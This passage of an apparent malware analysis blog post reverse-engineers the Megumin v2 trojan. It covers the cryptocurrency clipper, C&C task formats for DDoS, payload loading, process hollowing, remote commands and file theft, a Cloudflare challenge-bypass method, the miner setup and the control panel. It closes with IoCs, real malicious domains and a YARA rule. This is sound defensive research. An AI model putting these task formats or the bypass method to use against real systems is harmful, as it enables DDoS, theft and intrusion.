/newclip?hwid=XXX&type=XXX&copy=XXX&paste=XXX&date=XXX

The whole process of the clipper is representing like this.

megumin_clipper_window

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

For some investigation, this is the complete list of wallets, softwares, and websites targeted by this malware.

Bitcoin BitcoinGold BtcCash Ethereum
BlackCoin ByteCoin EmerCoin ReddCoin
Peercoin Ripple Miota Cardano
Lisk Stratis Waves Qtum
Stellar ViaCoin Electroneum Dash
Doge LiteCoin Monero Graft
ZCash Ya.money Ya.disc Steam
vk.cc QIWI

Tasks

When the bot is sending a request to the C&C, there is a possibility to have nine different tasks to be performed and they are all presenting like this.

<name>|<command>|...

There are currently 3 main fields for the tasks.

  • DDoS
  • Executing files
  • Miscellaneous

Whenever a task is accomplished, the request “/completed?hwid=” is sent to the C&C. The reason for this is simple, tasks can be counted and when it reaches a specific amount, the task is simply deactivated.

Let’s reviewing them!

megumin_task_answers.png

DDoS

Socket HTTP

Task format

socket|time|threads|link

When there is a necessity to create threads for performing the DDoS tasks, it only grabs the specific fields and using it a length for a thread loop creation as shown below, lpStartAddress will contain the reference of the specific DDoS function that the bot has to do.

megumin_ddos_socket_threads

When inspecting it the function, we can see the layer 7 DDoS Attack by flooding the server by HTTP GET requests with the help of sockets.

megumin_ddos_socket

When everything is configured, the send function is called for starting the DDoS.

megumin_ddos_socket_02

HTTP

Task format

http|time|threads|link

As explained above, the technique will remain always the same for the thread setup, only the function addressed is different. For the HTTP DDoS task, it’s another Layer 7 DDoS Attack by flooding the server with HTTP requests by using the methods from the Wininet library :

It’s slower than the “socket” tasks, but it used for the case that the server is using 301 redirects.

TCP

Task format

tcp|time|threads|port|link

The TCP task is Layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port.

megumin_ddos_tcp

JS Bypass

Task format

jsbypass|time|threads|link

When the website is using Cloudflare protection, the malware is also configured to use a known trick to bypass it by creating a clearance cookie for not being able to be challenged anymore.

megumin_js_01

The idea is when it’s reaching for the first time the Website, a 503 error page will redirecting the attacker into a waiting page (catchable by the string “Just a moment” as shown above), At this moment Cloudflare is, in fact, sending the challenging request,  so a __cfduid cookie is generated and the content of the source code on this page is fetched by the help of a parser implemented in the malware. It needs 3 parameters at least, 2 of them are already available :

jschl_vc the challenge token
pass ???

The last field is the jschl_answer, as guessable this is the answer to the challenge asked by Cloudflare. To solve it, an interpreter was also implemented to parse the js code, catching the challenge-form value and a.value field for interpreting correctly the native code with the right setup.

This process shown as below is the interpreter that will analyze block per block the challenge with the help of a loop, the data is shelled and each block will be converted into an integer value, the sum of all of them will give us the jschl_answer value.

megumin_js_05

so at the end of the waiting page, this request is sent:

/cdn-cgi/l/chk_jschl?jschl_vc=VALUE&pass=VALUE&jschl_answer=VALUE

chk_jschl leads to the cf_clearance cookie creation if the answer to the challenge is correct and this cookie is proof that you are authentic and trusted by Cloudflare, so by keeping it bypasses for the next requests sent, the website will no longer challenging the attacker temporarily.

Miscellaneous curiosities

the default values for DDoS tasks are :

Time 180 (in seconds)
Threads 2500
Port 42

Loader

Load

Task format

load|link

Seeing a loader feature is something that a quite common thing by the current trendings, customers that bought malware wants to maximize their investments at all cost. This trojan is also configured to pushed some payloads. There is nothing much to say about this. The only important element, in this case, it’s that the loaded payload is stored into the %PROGRAMDATA% folder with the name of {MACHINE_GUID}.exe.

Load PE

Task format

loadpe|link

Contrary to a simple loader feature, this one is typically a process hollowing alternative. It’s only working with 32 bits payload and using this classy process injection trick into a legitimate process.

megumin_loadpe

For some reasons, the User-Agent “Mozilla/5.0 (Windows NT 6.1) Megumin/2.0” is catchable when it’s downloading the payload on this specific load PE task.

More information about process injections techniques here

Update

Task format

update|build_link

When there is an update required with the malware, there is a possibility to push a new build to the bot by using this task.

Miscellaneous tasks

cmd

Task format

cmd|command

One of the miscellaneous tasks possible is the possibility to send some cmd commands on the bot. I don’t have a clue about the necessity of this task, but if it’s implemented, there is a reason for that.

megumin_cmd

Complete list available here

upload

Task format

upload|fullpath

If the attacker knows exactly what he’s doing, he can steal some really specific files on the bot, by indicating the full path of the required one. The crafted request at the end will be on that form, for pushing it on the C&C.

/gate?hwid=XXX

Miner

The miner is one of the main features of the trojan. Most of the time, When analysts are reversing a miner, this is really easy to spot things and the main ideas are to understand the setup part and how it’s executing the miner software.

At the end for future purposes, I am considering their check-up list as relevant when reversing one:

  • Is it targeting CPU, GPU or both?
  • If it’s GPU, is Nvidia & AMD targeted?
  • Is it generating a JSON config?
  • What miner software is/are used
  • Are there any Blacklist Country or Specific countries spotted to mine?
  • What are the pools addresses?

On this malware, Both hardware type has been implemented, and for checking which miner software is required on the GPU part, it only checking the name of the GPU on the bot, if Nvidia or AMD is spotted on the text, request to the C&C will give the correct setup and miner software.

megumin_miner_cpu_config

The base64 downloaded miner config contains two things:

  • The link of the miner software
  • The one-line config that will be executed with the downloaded payload by the help of ShellExecuteA

For some reasons, the User-Agent “Mozilla/5.0 (Windows NT 6.1) Megumin/2.0” is only catchable when it’s downloading the miner software for the CPU part, not for the GPU.

Server-side

Login Page

The login page is quite fancy, simplest. Even if I could be wrong of with this statement, it’s using the same core template as Supreme++ (Rarog Fork) with some tweaks.

Something interesting to notice with this C&C, that there is no password but a 2FA Google authenticator on the authentication part.

Megumin

Dashboard

There is not too much to say about the dashboard, its a classy stats page with these elements:

  • Top Countries
  • New bots infected (weekly)
  • Bots Windows Chart
  • Number of bots online (weekly)
  • Bots CPU chart
  • Bots GPU chart
  • Platform chart
  • AV Stats
  • Current cryptocurrencies values
  • Top stolen wallet by the clipper

megumin_dashboard_01megumin_dashboard_02megumin_dashboard_03megumin_dashboard_04

Bots

  • Bots – Current list of bots
  • Tasks – Task creation & current task list
  • Files – All files that have been uploaded to the C&C with the help of the task “upload”

megumin_panel_bots

Task setup

Tasks that I’ve detailed above are representing like this on the C&C, as usual, it’s designed to be user-friendly for customers, they just want to configure fast and easily their stuff to be able to steal & being profitable quickly as possible.

megumin_bots_tasks_step1

When selected, there is a usual configuration setup for the task, with classy fields like :

  • Task Name
  • Max Executions routine
  • If the Task must be designed for targeting only one bot
  • And an interesting advanced setting tab

megumin_bots_tasks_step2

If we look at it, the advanced setting is where the C&C could targeting bots by :

  • Specific hardware requirements
  • Platform
  • Countries

Countries can be easily catchable on the Victim machine by checking the Locale of the Keyboard (I have already explained this tick on Vidar) and the IP.

megumin_bots_tasks_step2_adv

So it means that malware could be designed to target highly specific areas.

When the task is completed, its represented like this.

megumin_task_cc

 

Clips

megumin_panel_clips

Settings

Bots

megumin_settings_bots

  • “USB Spreading” remains to /isUSB API request
  • “Del exe after start” remains to /selfDel API request

Clipper

Clipper is quite simple, it’s just the configuration of all wallet that will be clipped.

megumin_settings_clipper

Miner

The miner tab is quite classy also, just a basic configuration of the config and where it will download the payload.

megumin_settings_miner

As usual, the process blacklist will remain the same as we saw in other miner malware. Some google search will be sufficient to know which processes are the most targeted.

MessageBox

A fancy message box configuration part with multiple possibilities.

megumin_settings_msbox

Countries

It’s also possible to ban bots from specific countries, on the side bot side, the malware will check if the country is valid or not with the help of the IP and the Keyboard Language configuration.

megumin_settings_countries

On the code, it’s easily traceable by these checks, for more explanation about how it works for the keyboard part, this is already detailed on the Vidar paper.

Panel

For some reasons, there is also a possibility to change the username for the panel authentication, by doing this the 2FA Google Authenticator is required for confirming this.

megumin_settings_panel

Script

For further investigation about this v2, I developed a small script called “ohana”, like the Vidar one to extract the configuration of each sample and it’s already available on my GitHub repository.

megumin_script

IoCs

Hashes

  • d15e1bc9096810fb4c954e5487d5a54f8c743cfd36ed0639a0b4cb044e04339f
  • e6c447c826ae810dec6059c797aa04474dd27f84e37e61b650158449b5229469
  • c70120ee9dd25640049fa2d08a76165948491e4cf236ec5ff204e927a0b14918
  • d431e6f0d3851bbc5a956c5ca98ae43c3a99109b5832b5ac458b8def984357b8
  • ed65610f2685f2b8c765ee2968c37dfce286ddcc31029ee6091c89505f341b97
  • 89813ebf2da34d52c1b924b408d0b46d1188b38f035d22fab26b852ad6a6fc19
  • 8777749af37a2fd290aad42eb87110d1ab7ccff4baa88bd130442f25578f3fe1

Domains

  • 90551.prohoster.biz
  • baldorclip.icu
  • santaluisa.top
  • megumin.top
  • megumin.world

PDB

  • C:\Users\Ddani\source\repos\MeguminV2\Release\MeguminV2.pdb
  • C:\Users\Administrator\Desktop\MeguminV2\Release\MeguminV2.pdb

Threat Actors

  • Danij (Main)
  • Moongod

MITRE ATT&CK

Yara

rule Megumin : Megumin {
  meta:
    description = "Detecting Megumin v2"
    author = "Fumik0_"
    date = "2019-05-02"

  strings:
    $mz = {4D 5A}

    $s1 = "Megumin/2.0" wide ascii
    $s2 = "/cpu" wide ascii
    $s3 = "/task?hwid=" wide ascii
    $s4 = "/gate?hwid=" wide ascii
    $s5 = "/suicide" wide ascii

  condition:
    $mz at 0 and (all of ($s*))
}

Conclusion

Megumin Trojan is not a complicated malware but about all the one that I have reversed, this is the most talkative one that I’ve analyzed and possesses a quite some amount of tasks. Let’s see with the time how this one will evolve, but it’s confirmed at that time, there is currently a lot of interesting stuff to do with this one :

  • in term of analysis
  • in term of cybercrime investigation

umaru_screen

#HappyHunting
#WeebMalware

Special Thanks: S!Ri

Photo by Jens Johnsson on Unsplash

❌
❌